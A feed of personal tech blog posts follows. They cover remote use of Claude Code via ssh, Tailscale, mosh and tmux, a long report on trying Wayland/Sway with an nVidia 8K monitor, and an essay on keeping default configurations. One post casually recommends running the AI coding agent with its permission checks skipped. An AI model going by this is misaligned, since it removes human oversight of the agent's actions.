Finally, although Joss Whedon became quite evidently problematic, I remain a fan of one of his unmade scripts , which I wrote about nearly a decade ago because I appreciate its (workable? impractical?) ideal that there are no expendable people. (If I can tack on a postscript of sorts: given my eternal struggle with my own ego , I thank Manu for inviting me to participate in People and Blogs.) Now that you're done reading the interview, go check the blog and subscribe to the RSS feed . If you're looking for more content, go read one of the previous 123 interviews . Make sure to also say thank you to Andrea Contino and the other 129 supporters for making this series possible. Absurd Pirate Elaine (my mom, who’s been blogging as long as I have) Jessamyn West Shelley Powers

0 views
Harper Reed 1 months ago

Remote Claude Code: programing like it was the early 2000s

So so many friends have asked me how I use Claude Code from my phone. I am always a bit surprised, because a lot of this type of work I have been doing for nearly 25 years (or more!) and I always forget that it is partially a lost art. This is how it used to be. We didn’t have fancy IDEs, and fancy magic to deploy stuff. We had to ssh (hah. Telnet!) into a machine and work with it through the terminal. It ruled. It was a total nightmare. It was also a lot of fun. One of my favorite parts of the early 2000s was hanging out in IRC channels and just participating in the most ridiculous community of tech workers. A very very fun time. #corporate on efnet! There is a lot of nostalgia for that time period - but for the most part the tooling sucked. The new IDEs, and magic deploy systems have made it so that you do not have to deal with a terminal to get shit done. And then… Claude Code sashays into the room and fucks up the vibe. Or creates a new vibe? Who knows. Anyway. We are all using terminals now and it is hilarious and fun. So let’s vibe. Thinking about terminals probably, Leica M11, 12/2025 The conversation I have with people about Claude Code start normally, and almost without exception end with “I wish I could do this from my phone.” Well.. I am here to tell you that it is easy! And accessible! First things first - there are a couple really neat startups that are solving this in a very different way that I work. I think they are awesome. My favorite example of this is superconductor (great name!). They allow you to run and instantiate a bunch of agents (Claude Codex, Amp, Codex, etc) and interact with them remotely. They are also a really great team! Another example is happy coder . An open source magical app that connects to your Claude Code. It is theoretically pretty good, and I know some people who love it. I couldn’t get it to work reliably. One of my core values is: I want to just ssh into shit . That is kind of one of my general hobbies. Can I ssh into this thing? If yes, then I am happy. If no, then how can I make it so I can ssh into it. When it came to figuring out how to use Claude Code on my phone, the obvious answer was: ssh into my computer from my phone, and run claude . Turns out this is pretty straight forward. My workstation: Let’s break it down. I use an iPhone, so I will be talking about iPhone apps. There are good android apps to do this too! There are maybe 4 things you need to solve for: As a form of tldr, here are my personal answers: Let’s break it down: You will need to access your workstation from anywhere. I use a Mac and linux boxes for this. Linux is easy: Just make sure openssh-server is installed. Test that you can ssh into it - and bam. Typically if you are using a box from a Claude provider, this is built into the program. Macs are a bit harder. You need to enable ssh , and then for extra credit you need to enable screen sharing . Once this is done you should theoretically be able to remotely connect to your computer. It is very important you try to connect to it from another computer that is on the same network. Figure out your local IP (192.168.xxx.yyy), and then ssh to your local IP from another machine (or from the same machine). As long as you can connect to it - then the next step will be super easy. If you can’t connect to it, ask chatgpt wtf is going on. Once you can reliably SSH into your machine, then it is time to get Tailscale working. There are a few alternatives (zero tier, etc) and I am sure they are good. Tailscale is friends, and they are awesome. Having used them since before they launched, I can promise that it is a life changer. Install the Tailscale client on all your machines. Tailscale will magically create a network that only you have access to (or anyone else you add to your network). You can then access any of your machines from any of your machines. I.e. your phone can instantly connect to your workstation while you workstation is in Chicago, and your phone is in Tokyo. You don’t have to poke a hole in a firewall, do magical networking, or learn how to do magical networking. It just works. It is a beautiful product. There are is a deep bench of Tailscale features that you should check out eventually - but for today, just use it for networking. Since you were able to ssh into your machine before (I hope!) - now you can test it with your fancy new Tailscale ip address or magic name. And you can do that from any device that is on your Tailscale network. Like.. your phone! This means network is solved! This is where some personal preference comes in. You now need to pick a terminal client that you like to use, and feels good to use. Lots of my friends like prompt , and termius . Both are great choices. I personally really like blink . It is a bit nerdier, and when you open it, it just drops you into a shell. Immediately. No interface, no nonsense. Just a shell. It is a wild app. You can use their blink build product to host a lil dev server for yourself! I wanted to use their build product - but the default and unchangeable user was and I cannot being myself to seriously use a product that drops you into a server as the root user. lol Anyway, blink is for me! And since you set up Tailscale, and ssh you can just type and it will magically connect. you can use the command in blink to set up keys, and hosts, etc. highly worthwhile. Now you are inside of your workstation! Now you can really rip some tokens! I checked the build status RIGHT AFTER THIS SHOT, Leica M11, 01/2026 Tools! You could just navigate to the directory that your Claude project live, and run Claude. But then when you phone went to sleep or whatever - your ssh client may disconnect. And you would have to redo the connection, run Claude –continue, and live this life of lots of typing. We don’t use AI tools to type more! There are three tools that are super helpful: If you are using SSH a lot you need to set up some SSH keys, and then push them around to all your servers. I am not going to tell you how to do that, since you should already have keys somewhere to integrate with source code repositories. If you want to generate new, or have questions - the terminal clients may help you. My guess is that you already have some. Couple tips: Mosh is from a forgotten time (2012!) when the internet was slow, and connections were spotty. What mosh does is allow your “fragile” ssh connection to roam around with you. You use it just like ssh: . But now when you shut your laptop, or forget about your phone - the connection will pop back up when you surface it again. It allows the connection to survive a lot of the various environmental things that would normally derail a ssh connection. This RULES. I was on a train the other day and totally lost internet while we were in a tunnel. Then we emerged and internet came back. My ssh (really mosh) session just paused for a moment, and then BAM! Was back and Claude was telling me it had deleted my entire workstation, and was going to the beach! There are some gotchas about ssh-agent, keys and mosh that I won’t get into. If things are weird, just google it or as chatgpt. Tbh, I am a screen guy. But it is 2026 and TMUX is a better choice. It allows you to have a long running terminal process that you can reattach to. This is helpful even without a remote connection. It also acts as a multiplexer - allowing for multiple terminal sessions in a single terminal window. You can have 7 Claude Codes running simultaneously and just tab through them as needed. TMUX is what a lot of the “Claude Code orchestration” hacks are built upon.You should check them out . I haven’t yet found one that works how I want it - even know there are some good ones! I just want to use regular old TMUX, and a bunch of weird helpers. My TMUX config is here: harperreed/dotfiles/.TMUX.conf . Be forewarned, that the key combos are wacky! TMUX is the key that allows me to run a dozen Claude Code instances, and then walk away from my workstation, pick up my phone and continue hacking. To make things consistent, and easier I have a few scripts that really tie the room together. First, I have my claude code aliases: These allow me to start or pick up my last work. You are dangerously skipping permissions, right? Another helpful script is this one to help me unlock my keychain: On a Mac, Claude Code stores its api key in your keychain, then it requires you to unlock your keychain to work. This also has the added benefit of unlocking your ssh keys if they are using the keychain for your ssh-agent. My TMUX starter script is really handy. I just type and it magically starts a new named session, or attaches to the named session already. This script specifically names my sessions based on the workstation I use it from. This allows me to see what computer I am in via the terminal title. My workflow is: Now you can tell Claude to do weird shit from your phone 24 hours a day. It rules. Don’t do it while driving. Thank you for using RSS. I appreciate you. Email me terminal client workstation network: Tailscale client: blink workstation: Mac with constant power and fast internet tools: TMUX , some magic scripts, and Claude Code Keys/identity use a password to unlock your key! use an ssh agent to make that process not horrible on a Mac you can have your key be unlocked by your keychain (which is also where your Claude Code api key is!) ssh into my workstation burn tokens

0 views

Can I finally start using Wayland in 2026?

Wayland is the successor to the X server (X11, Xorg) to implement the graphics stack on Linux. The Wayland project was actually started in 2008, a year before I created the i3 tiling window manager for X11 in 2009 — but for the last 18 years (!), Wayland was never usable on my computers. I don’t want to be stuck on deprecated software, so I try to start using Wayland each year, and this articles outlines what keeps me from migrating to Wayland in 2026. For the first few years, Wayland rarely even started on my machines. When I was lucky enough for something to show up, I could start some toy demo apps in the demo compositor Weston. Around 2014, GNOME started supporting Wayland. KDE followed a few years later. Major applications (like Firefox, Chrome or Emacs) have been slower to adopt Wayland and needed users to opt into experimental implementations via custom flags or environment variables, until very recently, or — in some cases, like — still as of today. Unfortunately, the driver support situation remained poor for many years. With nVidia graphics cards, which are the only cards that support my 8K monitor , Wayland would either not work at all or exhibit heavy graphics glitches and crashes. In the 2020s, more and more distributions announced looking to switch to Wayland by default or even drop their X11 sessions , and RHEL is winding down their contributions to the X server . Modern Linux distributions like Asahi Linux (for Macs, with their own GPU driver!) clearly consider Wayland their primary desktop stack, and only support X11 on a best-effort basis. So the pressure to switch to Wayland is mounting! Is it ready now? What’s missing? I’m testing with my lab PC, which is a slightly upgraded version of my 2022 high-end Linux PC . I describe my setup in more details in stapelberg uses this: my 2020 desk setup . Most importantly for this article, I use a Dell 8K 32" monitor (resolution: 7680x4320!), which, in my experience, is only compatible with nVidia graphics cards (I try other cards sometimes). Hence, both the lab PC and my main PC contain an nVidia GPU: (In case you’re wondering why I use the older card in my PC: I had a crash once where I suspected the GPU, so I switched back from the 4070 to my older 3060.) For many years, nVidia drivers were entirely unsupported under Wayland. Apparently, nVidia refused to support the API that Wayland was using, insisting that their EGLStreams approach was superior. Luckily, with nVidia driver 495 (late 2021), they added support for GBM (Generic Buffer Manager). But, even with GBM support, while you could now start many Wayland sessions, the session wouldn’t run smoothly: You would see severe graphics glitches and artifacts, preventing you from getting any work done. The solution for the glitches was explicit sync support: because the nVidia driver does not support implicit sync (like AMD or Intel), Wayland (and wlroots, and sway) needed to get explicit sync support . Sway 1.11 (June 2025) and wlroots 0.19.0 are the first version with explicit sync support. With the nVidia driver now working per se with Wayland, unfortunately that’s still not good enough to use Wayland in my setup: my Dell UP3218K monitor requires two DisplayPort 1.4 connections with MST (Multi Stream Transport) and support. This combination worked just fine under X11 for the last 8+ years. While GNOME successfully configures the monitor with its native resolution of 7680x4320@60, the monitor incorrectly shows up as two separate monitors in sway. The reason behind this behavior is that wlroots does not support the property (issue #1580 from 2019) . Luckily, in 2023, contributor sent draft merge request !4154 , which adds support for the property. But, even with the patch, my monitor would not work correctly: The right half of the monitor would just stay black. The full picture is visible when taking a screenshot with , so it seems like an output issue. I had a few exchanges about this with starting in August 2025 (thanks for taking a look!), but we couldn’t figure out the issue. A quarter later, I had made good experiences regarding debugging complex issues with the coding assistant Claude Code (Opus 4.5 at the time of writing), so I decided to give it another try. Over two days, I ran a number of tests to narrow down the issue, letting Claude analyze source code (of sway, wlroots, Xorg, mesa, …) and produce test programs that I could run manually. Ultimately, I ended up with a minimal reproducer program (independent of Wayland) that shows how the DRM property does not work on nVidia (but does work on Intel, for example!): I posted a bug report with a video in the nVidia forum and hope an nVidia engineer will take a look! Crucially, with the bug now identified, I had Claude implement a workaround: copy the right half of the screen (at ) to another buffer, and then display that buffer , but with . With that patch applied, for the first time, I can use Sway on my 8K monitor! 🥳 By the way, when I mentioned that GNOME successfully configures the native resolution, that doesn’t mean the monitor is usable with GNOME! While GNOME supports tiled displays, the updates of individual tiles are not synchronized, so you see heavy tearing in the middle of the screen, much worse than anything I have ever observed under X11. GNOME/mutter merge request !4822 should hopefully address this. During 2025, I switched all my computers to NixOS . Its declarative approach is really nice for doing such tests, because you can reliably restore your system to an earlier version. To make a Wayland/sway session available on my NixOS 25.11 installation, I added the following lines to my NixOS configuration file ( ): I also added the following Wayland-specific programs to : Note that activating this configuration kills your running X11 session, if any. Just to be sure, I rebooted the entire machine after changing the configuration. With this setup, I spent about one full work day in a Wayland session. Trying to actually get some work done uncovers issues that might not show in casual testing. Most of the day was spent trying to fix Wayland issues 😅. The following sections explain what I have learned/observed. Many years ago, when Wayland became more popular, people asked on the i3 issue tracker if i3 would be ported to Wayland. I said no: How could I port a program to an environment that doesn’t even run on any of my computers? But also, I knew that with working a full-time job, I wouldn’t have time to be an early adopter and shape Wayland development. This attitude resulted in Drew DeVault starting the Sway project around 2016, which aims to be a Wayland version of i3. I don’t see Sway as competition. Rather, I thought it was amazing that people liked the i3 project so much that they would go through the trouble of creating a similar program for other environments! What a nice compliment! 😊 Sway aims to be compatible with i3 configuration files, and it mostly is. If you’re curious, here is what I changed from the Sway defaults, mostly moving key bindings around for the NEO keyboard layout I use, and configuring / blocks that I formerly configured in my file : I encountered the following issues with Sway: I don’t know how I can configure the same libinput settings that I had before. See for what I have on X11. Sway’s available settings do not seem to match what I used before. The mouse cursor / pointer seems laggy, somehow?! It seems to take longer to react when I move the trackball, and it also seems to move less smoothly across the screen. Simon Ser suspects that this might be because hardware cursor support might not work with the nVidia drivers currently. No Xwayland scaling: programs started via Xwayland are blurry (by default) or double-scaled (when setting ). This is a Sway-specific limitation: KDE fixed this in 2022 . From Sway issue #2966 , I can tell that Sway developers do not seem to like this approach for some reason, but that’s very unfortunate for my migration: The backwards compatibility option of running older programs through Xwayland is effectively unavailable to me. Sometimes, keyboard shortcuts seem to be executed twice! Like, when I focused the first of five Chrome windows in a stack and moved that window to another workspace, two windows would be moved instead of one. I also see messages like this one (not exactly correlated with the double-shortcut problem, though): …and that seems wrong to me. My high-end Linux PC certainly isn’t slow by any measure. When I first started GTK programs like GIMP or Emacs, I noticed all fonts were way too large! Apparently, I still had some scaling-related settings that I needed to reset like so: Debugging tip: Display GNOME settings using (stored in ). Some programs like apparently need an explicit environment variable, otherwise they run in Xwayland. Weird. I also noticed that font rendering is different between X11 and Wayland! The difference is visible in Chrome browser tab titles and the URL bar, for example: At first I thought that maybe Wayland defaults to different font-antialiasing and font-hinting settings, but I tried experimenting with the following settings (which default to and ), but couldn’t get things to render like they did before: Update : Thanks to Hugo for pointing out that under Wayland, GTK3 ignores the configuration file and uses dconf exclusively! Setting the following dconf setting makes the font rendering match: The obvious replacement for is . I quickly ran into a difference in architecture between the two programs: i3lock shows a screen locker window. When you kill i3lock, the screen is unlocked. When you kill swaylock, you end up in a Red Screen Of Death . To get out of this state, you need to restart swaylock and unlock. You can unlock from the command line by sending to the process. This was very surprising to me, but is by (Wayland) design! See Sway issue #7046 for details, and this quote from the Wayland protocol : “The compositor must stop rendering and provide input to normal clients. Instead the compositor must blank all outputs with an opaque color such that their normal content is fully hidden.” OK, so when you start via SSH for testing, remember to always unlock instead of just cancelling with Ctrl+C. And hope it never crashes. I used to start via a wrapper script, which turns off the monitor (input wakes it up): With Wayland, the DPMS behavior has to be implemented differently, with : The i3 window manager can be extended via its IPC interface (interprocess communication) . I use a few small tools that use this interface. I noticed the following issues when using these tools with Sway: Tools using the Go package need a special socket path hook currently . We should probably include transparent handling in the package to ease the transition. Tools started with from the Sway config unexpectedly keep running even when you exit Sway ( ) and log into a new session! My workspace-populate-for-i3 did not work: My wsmgr-for-i3 worked partially: On X11, I use the rxvt-unicode (URxvt) terminal emulator. It has a couple of quality-of-life features that I don’t want to lose, aside from being fast and coming with a minimal look: In earlier experiments, I tried Alacritty or Kitty, but wasn’t happy with either. Thanks to anarcat’s blog post “Wayland: i3 to Sway migration” , I discovered the terminal emulator , which looks like a really nice option! I started a config file to match my URxvt config, but later I noticed that at least some colors don’t seem to match (some text lines with green/red background looked different). I’m not sure why and have not yet looked into it any further. I noticed the following issues using : Pressing Ctrl+Enter (which I seem to do by mistake quite a bit) results in escape sequences, whereas URxvt just treats Ctrl+Enter like Enter. This can be worked around in your shell (Zsh, in my case), see foot issue #628 for details. Double-clicking on part of a URL with the mouse selects the URL (as expected), but without the scheme prefix! Annoying when you do want to use the mouse. I can hold Ctrl to work around this, which will make select everything under the pointer up to, and until, the next space characters. Starting in results in not having color support for programs running inside the session. Probably a terminfo-related problem somehow…? I can also reproduce this issue with GNOME terminal. But with URxvt or xterm , it works. Selecting text highlights the text within the line, but not the entire line. This is different from other terminal emulators I am used to, but I don’t see an option to change it. Here’s a screenshot showing after triple-clicking on the right of “kthreadd”: But triple-clicking on an echo output line highlights only the contents, not the whole line: I find Emacs’s Wayland support rather disappointing. The standard version of Emacs only supports X11, so on Sway, it starts in Xwayland. Because Sway does not support scaling with Xwayland, Emacs shows up blurry (top/background window): Native Wayland support (bottom/foreground window) is only available in the Emacs version ( on NixOS). used to be a separate branch, but was merged in Emacs 29 (July 2023). There seem to be issues with on X11 (you get a warning when starting Emacs-pgtk on X11), so there have to be two separate versions for now… Unfortunately, the text rendering looks different than native X11 text rendering! The line height and letter spacing seems different: I’m not sure why it’s different! Does anybody know how to make it match the old behavior? Aside from the different text rendering, the other major issue for me is input latency: Emacs-pgtk feels significantly slower (less responsive) than Emacs. This was reported on Reddit multiple times ( thread 1 , thread 2 ) and Emacs bug #71591 , but there doesn’t seem to be any solution. I’ll also need a solution for running Emacs remotely. Thus far, I use X11 forwarding over SSH (which works fine and with low latency over fiber connections). I should probably check out waypipe, but have not yet had a chance. When starting Chrome and checking the debug page, things look good: But rather quickly, after moving and resizing browser windows, the GPU process dies with messages like the following and, for example, WebGL is no longer hardware accelerated: Of course, using a browser without hardware acceleration is very frustrating, especially at high resolutions. Starting Chrome with seems to work around the GPU process exiting, but Chrome still does not feel as smooth as on X11. Another big issue for me is that Sway does not open Chrome windows on the workspace on which I closed them. Support for tracking and restoring the EWMH atom was added to i3 in January 2016 and to Chrome in May 2016 and Firefox in March 2020 . I typically have 5+ workspaces and even more Chrome windows at any given point, so having to sort through 10+ Chrome windows every day (when I boot my work computer) is very annoying . Simon Ser said that this would be addressed with a new Wayland protocol ( , merge request !18 ). I work remotely a lot, so screen sharing is a table-stakes feature for me. I use screen sharing in my browser almost every day, in different scenarios and with different requirements. In X11, I am used to the following experience with Chrome. I click the “Window” tab and see previews of my windows. When I select the window and confirm, its contents get shared: To get screen sharing to work in Wayland/sway, you need to install and (the latter is specific to wlroots, which sway uses). With these packages set up, this is the behavior I see: This is a limitation of (and others) , which should be addressed with the upcoming Sway 1.12 release. I changed my NixOS configuration to use sway and wlroots from git to try it out. When I click on the “Window” tab, I see a chooser in which I need to select a window: After selecting the window, I see only that window’s contents previewed in Chrome: After confirming, I get another chooser and need to select the window again. Notably, there is no connection between the previewed window and the chosen window in this second step — if I chose a different window, that’s what will be shared: Now that window is screenshared (so the feature now works; nice!), but unfortunately in low resolution, meaning the text is blurry for my co-workers. I reported this as xdg-desktop-portal-wlr issue #364 and it seems like the issue is that the wrong scale factor is applied. The patch provided in the issue works for me. But, on a high level, the whole flow seems wrong: I shouldn’t see a chooser when clicking on Chrome’s “Window” tab. I should see previews of all windows. I should be able to select the window in Chrome, not with a separate chooser. I also noticed a very annoying glitch when output scaling is enabled: the contents of (some!) windows would “jump around” as I was switching between windows (in a tabbed or stacked container) or between workspaces. I first noticed this in the terminal emulator, where the behavior is as follows: I captured the following frame with my iPhone just as the content was moving a few pixels, shortly after switching focus to this window: Later, I also noticed that Chrome windows briefly show up blurry after switching . My guess is that because Sway sets the scale factor to 1 for invisible windows, when switching focus you see a scale-1 content buffer until the application provided its scale-3 content buffer. dunst supports Wayland natively. I tried dunst 1.13 and did not notice any issues. rofi works on Wayland since v2.0.0 (2025-09-01). I use rofi with rofimoji as my Emoji picker. For text input, instead of , seems to work. I didn’t notice any issues. Instead of my usual choice , I tried , but unfortunately ’s flag to select the window to capture is rather cumbersome to use (and captures in 1x scale). Does anyone have any suggestions for a good alternative? Finally I made some progress on getting a Wayland session to work in my environment! Before giving my verdict on this Wayland/sway experiment, let me explain that my experience on X11/i3 is really good. I don’t see any tearing or other artifacts or glitches in my day-to-day computer usage. I don’t use a compositor, so my input latency is really good: I once measured it to approximately 763 μs in Emacs on X11 with my custom-built keyboard (plus output latency), see kinX: latency measurement (2018) . So from my perspective, switching from this existing, flawlessly working stack (for me) to Sway only brings downsides. I observe new graphical glitches that I didn’t have before. The programs I spend most time in (Chrome and Emacs) run noticeably worse. Because of the different implementations, or because I need to switch programs entirely, I encounter a ton of new bugs. For the first time, an on-par Wayland experience seems within reach, but realistically it will require weeks or even months of work still. In my experience, debugging sessions quickly take hours as I need to switch graphics cards and rewire monitors to narrow down bugs. I don’t have the time to contribute much to fixing these numerous issues unfortunately, so I’ll keep using X11/i3 for now. For me, a Wayland/Sway session will be ready as my daily driver when: The lab PC contains a nVidia GeForce RTX 4070 Ti. The main PC contains a nVidia GeForce RTX 3060 Ti. I don’t know how I can configure the same libinput settings that I had before. See for what I have on X11. Sway’s available settings do not seem to match what I used before. The mouse cursor / pointer seems laggy, somehow?! It seems to take longer to react when I move the trackball, and it also seems to move less smoothly across the screen. Simon Ser suspects that this might be because hardware cursor support might not work with the nVidia drivers currently. No Xwayland scaling: programs started via Xwayland are blurry (by default) or double-scaled (when setting ). This is a Sway-specific limitation: KDE fixed this in 2022 . From Sway issue #2966 , I can tell that Sway developers do not seem to like this approach for some reason, but that’s very unfortunate for my migration: The backwards compatibility option of running older programs through Xwayland is effectively unavailable to me. Sometimes, keyboard shortcuts seem to be executed twice! Like, when I focused the first of five Chrome windows in a stack and moved that window to another workspace, two windows would be moved instead of one. I also see messages like this one (not exactly correlated with the double-shortcut problem, though): …and that seems wrong to me. My high-end Linux PC certainly isn’t slow by any measure. i3lock shows a screen locker window. When you kill i3lock, the screen is unlocked. When you kill swaylock, you end up in a Red Screen Of Death . To get out of this state, you need to restart swaylock and unlock. You can unlock from the command line by sending to the process. Tools using the Go package need a special socket path hook currently . We should probably include transparent handling in the package to ease the transition. Tools started with from the Sway config unexpectedly keep running even when you exit Sway ( ) and log into a new session! My workspace-populate-for-i3 did not work: Sway does not implement i3’s layout saving/restoring because Drew decided in 2017 that the feature is “too complicated and hacky for too little benefit” . Too bad. I have a couple of layouts I liked that I’ll need to replicate differently. Sway does not match workspace nodes with criteria. There’s pull request #8980 (posted independently, five days ago) to fix that. My wsmgr-for-i3 worked partially: Restoring workspaces ( ) worked. Sway’s command implementation does not seem to pick up workspace numbers from the target name. Backwards search through your scrollback (= command output) Opening URLs in your scrollback using keyboard shortcuts Opening a new terminal window in the same working directory Updating the terminal title from your shell Pressing Ctrl+Enter (which I seem to do by mistake quite a bit) results in escape sequences, whereas URxvt just treats Ctrl+Enter like Enter. This can be worked around in your shell (Zsh, in my case), see foot issue #628 for details. Double-clicking on part of a URL with the mouse selects the URL (as expected), but without the scheme prefix! Annoying when you do want to use the mouse. I can hold Ctrl to work around this, which will make select everything under the pointer up to, and until, the next space characters. Starting in results in not having color support for programs running inside the session. Probably a terminfo-related problem somehow…? I can also reproduce this issue with GNOME terminal. But with URxvt or xterm , it works. Selecting text highlights the text within the line, but not the entire line. This is different from other terminal emulators I am used to, but I don’t see an option to change it. Here’s a screenshot showing after triple-clicking on the right of “kthreadd”: But triple-clicking on an echo output line highlights only the contents, not the whole line: I can share a Chrome tab. I can share the entire monitor. I cannot share a specific window (the entire monitor shows up as a single window). Switch focus to another terminal by changing workspaces, or by switching focus within a stacked or tabbed container. The new terminal shows up with its text contents slightly offset. Within a few milliseconds, ’s text jumps to the correct position. Sway no longer triggers some key bindings twice some times (“ghost key presses”) I no longer see glitches when switching between windows or workspaces in Sway. Chrome is continuously hardware-accelerated. Chrome windows are restored to their previous workspace when starting. Emacs either: Runs via Xwayland and Sway makes scaling work. Or if its variant fixes its input latency issues and can be made to render text the same as before somehow.

0 views
Jason Scheirer 1 months ago

Learn To Live With The Defaults

Every deviation from default is slowing you down from getting started and making it harder to help others. I use about 5 distinct laptops/desktops on an average day, not to mention the VMs within them and other machines I shell into. Having a consistent experience is useful, but equally important is my ability to roll with the punches and get productive on a new computer without much ceremony. One thing I do to cope with this is a dotfiles repo with a dead-simple installation method , but also note how conservative it is. No huge vim plugin setup. Very minimal tmux config (which is still bad, and I’ll explain why later). Not a lot going on. Moving from the defaults to a custom setup might make you more effective in the immediate term, but it makes it harder long-term. You have additional complexity in terms of packages installed, keymaps, etc. that you need to reproduce regularly on every system you use. As I complained about in Framework Syndrome , flexible software just moves the problem along, it does not solve the problem. Having a tool that’s flexible enough to get out of the way so that you can solve the problem yourself is double-edged: it does not provide the solution you want, it provides an environment to implement your solution. This seems to mean that everyone new to the software will not see it as useful as it seems to you, right? To them it’s a blank slate, and is only useful with significant customization. This also affects teachability! With your hyper-customized setup you can’t be as effective a mentor or guide. One thing that makes it harder for me to advocate tmux to new devs is that I use one thing sightly idiomatically: coming from the older tool screen means I remap Ctl-B to Ctl-A for consistency. This has bitten me many a time! One example: Once I had set up a shared VM at work and had long-running tasks in tmux that my teammates could check in on. The entire setup was stymied by the fact that nobody but me could use tmux due to that one customization I had set up. Learn to lean in and be as functional as possible with the default setup. A kitted-out vim is great but learn the basics as muscle memory. Prefer tools with good defaults over good enough tools with the flexibility to make them as good as the ones with good defaults.

0 views